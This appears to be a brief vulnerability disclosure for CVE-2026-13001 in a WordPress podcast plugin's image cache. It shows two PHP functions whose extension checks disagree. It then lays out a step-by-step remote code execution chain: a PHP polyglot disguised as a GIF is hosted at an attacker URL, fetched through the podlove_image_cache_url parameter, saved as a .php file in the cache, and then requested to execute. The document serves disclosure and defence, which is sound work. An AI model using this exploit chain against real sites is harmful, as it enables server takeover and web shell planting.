CVE-2026-13001

// is_image() — uses basename() which includes query string
function is_image($url) {
    $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
    return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED

// extract_file_extension() — uses parse_url() path only
function extract_file_extension($url) {
    $path = parse_url($url, PHP_URL_PATH);
    return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php

1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() validates .gif extension → PASS
4. Plugin downloads file → saves as test_original.php in cache/
5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
6. PHP executes → RCE
